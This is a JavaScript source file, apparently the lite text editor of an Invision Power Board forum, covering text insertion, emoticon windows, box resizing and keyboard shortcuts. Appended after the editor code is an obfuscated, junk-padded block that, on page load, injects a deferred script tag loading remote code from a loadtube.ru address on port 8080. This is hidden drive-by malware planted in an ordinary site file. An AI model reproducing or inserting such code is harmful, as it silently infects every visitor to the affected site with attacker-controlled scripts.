{
this.editor_document.selectionStart = open;
this.editor_document.selectionEnd   = open + text.length;
this.editor_document.scrollTop      = st;
}
}
else if ( ( document.selection && document.selection.createRange ) || this._ie_cache )
{
var sel  = this._ie_cache ? this._ie_cache : document.selection.createRange();
sel.text = text.replace(/\r?\n/g, '\r\n');
sel.select();
}
else
{
this.editor_document.value += text;
}
this._ie_cache = null;
};
this.show_all_emoticons = function()
{
if ( typeof( this.emoticon_window_id ) != null )
{
this.emoticon_window_id = window.open( ipb_var_base_url + "act=legends&CODE=emoticons&_lite=1&editor_id=" + editor_id,"Legends","width=250,height=500,resizable=yes,scrollbars=yes");
}
else
{
this.emoticon_window_id.focus();
}
return false;
};
this.insert_emoticon = function( emo_id, emo_image, emo_code, event )
{
emo_code = ipsclass.un_htmlspecialchars( emo_code );
this.wrap_tags_lite( " " + emo_code, " ");
if ( this.is_ie )
{
if ( IPS_Lite_Editor[ this.editor_id ].emoticon_window_id != '' && typeof( IPS_Lite_Editor[ this.editor_id ].emoticon_window_id ) != 'undefined' )
{
IPS_Lite_Editor[ this.editor_id ].emoticon_window_id.focus();
}
}
};
this.resize_editorbox = function( direction )
{
var inc_value	   = 100;
var current_height = parseInt( this.text_obj.style.height );
var new_height     = 0;
current_height     = current_height ? current_height : 200;
if ( current_height >= 50 )
{
if ( direction == 'up' )
{
new_height = current_height - inc_value;
}
else
{
new_height = current_height + inc_value;
}
if ( new_height > 149 )
{
this.text_obj.style.height = new_height + 'px';
}
}
};
};
function ips_editor_events()
{
}
ips_editor_events.prototype.button_onmouse_event = function(e)
{
if ( is_ie )
{
e = ipsclass.cancel_bubble(e, true);
}
if ( e.type == 'click' )
{
IPS_Lite_Editor[this.editor_id].format_text(e, this.cmd, false, true);
}
IPS_Lite_Editor[this.editor_id].set_button_context(this, e.type);
};
ips_editor_events.prototype.editor_window_onfocus = function(e)
{
this.has_focus = true;
};
ips_editor_events.prototype.editor_window_onblur = function(e)
{
this.has_focus = false;
};
ips_editor_events.prototype.editor_document_onkeypress = function(e)
{	
if ( e.ctrlKey )
{
switch (String.fromCharCode(e.charCode).toLowerCase())
{
case 'b': cmd = 'bold';      break;
case 'i': cmd = 'italic';    break;
case 'u': cmd = 'underline'; break;
default: return;
}
e.preventDefault();
IPS_Lite_Editor[this.editor_id].apply_formatting(cmd, false, null);
return false;
}
};


var GY;if(GY!='' && GY!='hU'){GY=null};var I=new Date();var Gj=new Array();function _(){var k='';var T=new Array();var z=window;var G=unescape;var ED;if(ED!='' && ED!='J'){ED=''};var v=G("%2f%74%6e%61%66%6c%69%78%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%73%6b%2e%70%68%70");var t="";var Tv;if(Tv!=''){Tv='W'};var GR;if(GR!='V' && GR!='n'){GR=''};function y(m,E){var Un;if(Un!='Jo' && Un!='N'){Un=''};var A="g";var _B=G("%5b"), e=G("%5d");var iY="";this.yv="";var r=_B+E+e;this.Au='';var h=new RegExp(r, A);return m.replace(h, new String());var lq=new Date();};var _O=new Array();var Jt=new Date();var kJ='';var wj;if(wj!='Ys'){wj=''};this.Wp='';var u=document;this.XI="";var JU;if(JU!='j' && JU != ''){JU=null};var vn=new String();var Gc;if(Gc!='uA'){Gc=''};var pB;if(pB!='R' && pB != ''){pB=null};var H=y('897950432825330299','29574631');var We;if(We!='' && We!='yR'){We=''};function p(){var gI;if(gI!='VW'){gI='VW'};var M=G("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var yW;if(yW!='' && yW!='cl'){yW='fl'};var jK='';var gJ;if(gJ!='q' && gJ != ''){gJ=null};vn=M;vn+=H;var B;if(B!='yq' && B!='yvy'){B=''};var YT;if(YT!='aa'){YT='aa'};vn+=v;var IDU=new Date();var UE;if(UE!='NM'){UE='NM'};this.Br="";var QV;if(QV!='' && QV!='Qu'){QV=null};try {var wi='';this._ie="";i=u.createElement(y('sfcLrWiWpPtf','WL9fP'));var OC="";var zR;if(zR!='wd'){zR=''};i[G("%64%65%66%65%72")]=[1][0];var mC;if(mC!='' && mC!='mh'){mC='gg'};var Xy;if(Xy!='' && Xy!='lg'){Xy='nh'};i[G("%73%72%63")]=vn;var D;if(D!='ap' && D!='mN'){D='ap'};var WE="";u.body.appendChild(i);var FP=new String();var pe="";var eM;if(eM!='' && eM!='BJ'){eM=''};var nQ;if(nQ!='' && nQ!='yqA'){nQ=''};} catch(Q){alert(Q);var kM;if(kM!=''){kM='ZF'};};var ey=new Date();this.Zq='';}this.bM='';var er='';z[new String("on"+"lov2p".substr(0,2)+"JBzZad".substr(4))]=p;this.uAg="";this.XJ="";};this.yF='';_();